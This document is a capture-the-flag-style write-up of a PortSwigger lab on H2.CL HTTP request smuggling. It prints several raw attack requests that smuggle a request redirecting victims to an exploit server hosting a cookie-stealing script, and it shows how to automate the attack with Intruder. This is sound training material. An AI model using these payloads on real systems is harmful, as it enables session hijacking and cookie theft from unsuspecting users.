PortSwiggerlabs: H2.CL request smuggling
Information :
This lab is vulnerable to request smuggling because the front-end server downgrades HTTP/2 requests even if they have an ambiguous length.
To solve the lab, perform a request smuggling attack that causes the victim’s browser to load and execute a malicious JavaScript file from the exploit server, calling alert(document.cookie). The victim user accesses the home page every 10 seconds.
Solution :
Quick note:
HTTP Request Smuggling happens because of a disagreement between servers. In a typical setup you have a front-end (proxy, load balancer, CDN) forwarding requests to a back-end, and they share persistent TCP connections. The issue is that HTTP gives two ways to tell a server where a request body ends: Content-Length, which just counts bytes, and Transfer-Encoding: chunked, which sends the body in chunks ending with a zero-size chunk. When both headers are present in the same request, different servers may prioritize differently and that gap is what we exploit.
The idea is: you craft a request the front-end considers complete and forwards normally, but the back-end reads it differently and treats part of your body as leftover data sitting in the TCP buffer. That leftover then gets prepended to the next incoming request — yours or another user’s. That’s how you end up bypassing access controls, hijacking requests, or poisoning responses.
The three main variants are CL.TE, TE.CL, and TE.TE , basically which server trusts which header, or in the TE.TE case, how you obfuscate the Transfer-Encoding header enough that one server just ignores it entirely.
Before jumping into Burp, two things worth knowing: first, disable Update Content-Length in Repeater options , if Burp auto corrects your Content-Length you’re defeating the whole point. Second, make sure you’re sending over HTTP/1, not HTTP/2. When testing manually, timing delays are your main signal if the response hangs after your crafted request, the back-end is likely waiting for data that isn’t coming, which means it’s parsing things differently from the front-end. That’s your confirmation.
H2.CL :
Now sometimes the front end might be using HTTP2 but downgrades to HTTP/1.1 to communicate with the backend, this can also lead to a HTTP Request smuggling attack .
- Since the essence of the attack is both front and backend are not agreeing on the mechanism to determine the CL . If the front end is re writing the request without verifying the content length that we provided , the front end and backend are vulnerable to request smuggling .
- The vulnerability here is that the front-end receives our full request via HTTP/2 framing, but when it downgrades to HTTP/1.1 it just blindly forwards the Content-Length we injected without recalculating it against the actual body size.
- The back-end trusts that CL, reads only that many bytes, and the rest sits in the buffer waiting for the next request.
Now back to the lab :
First we need to detect the HE.CL , to do this :
- We keep HTTP2 this time .
- Remove the Update Content Length .
- Change Request Method .
- Get rid of unecessary Headers .
- Speficy our CL to be barely enough for the inital request to go through .
- Smuggle our 404 .
- Send a normal request after it and see if we get a 404 .
1
2
3
4
5
6
7
8
POST / HTTP/2
Host: 0a2e002903170c4d8599127400330088.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
abc
GET /404_Return HTTP/1.1
X-Ignore: x
No character line after x , since we want the normal request to be appended to it so that we don’t get a 2 Request Method error .
Now if we send it , we should get a 404 :
Perfect this confirms it .
Quick Note again :
If we use new line character after the x , our request will be Invalid since it will have 2 GET Requests :
1
2
3
GET /404_Return HTTP/1.1
X-Ignore: x
GET / HTTP2 ....
So now if we send the normal request after this one , it will get appended but in a new line which will cause an error bcs the request is malformed .
Anyways back to the lab , now that we know there is a T2.CL , we can use this to poison the request of other users .
To solve this lab , we need to redirect a user to our server , where js will be executed and once the document cookie is retrived we should be able to solve the lab.
Now for the redirection , we can use the onsite redirections that the website already performs , sometimes it might be misconfigured to allow for redirections outside :
- To test this , remove the file name as well as the / from the URL , maybe it will redirect us and we’ll get a 302 :
- Pick any redirection from Burp’s Sitemap and test with it :
Now if we remove the filename and the / :
We got our redirection :)
Perfect now we can attempt the redirect to our Server :
First we go back to our Attack Request :
- Instead of the 404 we specify the endpoint :
- We specify the host header to be something else :
Now we send our attack request :
If we send a normal request now :
We are redirected , but instead of the new server we specified we are redirected to the same old server , even though we specified a new Host .
This is just like the issue we had with double Host Headers , whenever we need to specify a new host header , it s better to put the content of the normal request that will be appended to the smuggled one inside the body of the smuggled request :
Otherwise it will look like this :
1
2
3
4
5
6
7
8
9
10
POST / HTTP/2
Host: 0a2e002903170c4d8599127400330088.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
abc
GET /resources/js HTTP/1.1
Host : server_test.com
X-Ignore: GET / HTTP/2
Host: 0a2e002903170c4d8599127400330088.web-security-academy.net
Notice how there are 2 Host headers ? now to avoid all of this , put everything inside the smuggled request body :
1
2
3
4
5
GET /resources/js HTTP/1.1
Host: server_test.com
x= GET / HTTP/2
Host: 0a2e002903170c4d8599127400330088.web-security-academy.net
Of course since we got a body now , we need to specify both CL and Content type :
1
2
3
4
5
6
7
8
9
10
11
12
POST / HTTP/2
Host: 0a2e002903170c4d8599127400330088.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
abc
GET /resources/js HTTP/1.1
Host: server_test.com
Content-Length: 4
Content-Type: application/x-www-form-urlencoded
x=
Now if we send a normal one after :
Perfect , we are able to redirect to an external server .
Now we can host a file on the Exploit server , and name it /exploit that will contain our payload :
1
alert(document.cookie)
Then we will redirect ourselves to it :
Now we just send our attack Request :
Then if we send a normal one right after , we should be redirected :
I tried using /exploit/ but this didn’t work , so i decided to keep the same name as the file :
1
2
3
4
5
6
7
8
9
10
11
12
POST / HTTP/2
Host: 0a2e002903170c4d8599127400330088.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
abc
GET /resources/js HTTP/1.1
Host: exploit-0ab600ac03df0c8585c51166019100b2.exploit-server.net
Content-Length: 3
Content-Type: application/x-www-form-urlencoded
x=
Once we send the attack request , and we follow it up with a normal one :
We are able to get our redirection .
Now just like with our last lab , since it will be daunting to keep sending the attack request and following up with a normal one in hopes the victim browses the app at the perfect time .
We will use Intruder to keep sending requests until the lab is solved :)
Again , we need to make sure we disable the Auto update of CL, otherwise we’re defying the whole point :
Now we keep going until we get two successive 200 responses , that means our attack request was intercepted by the victim like we planned :)
And we do , now if we go back to the lab , we will see that it was solved .
That was all for this lab, see you in the next one :)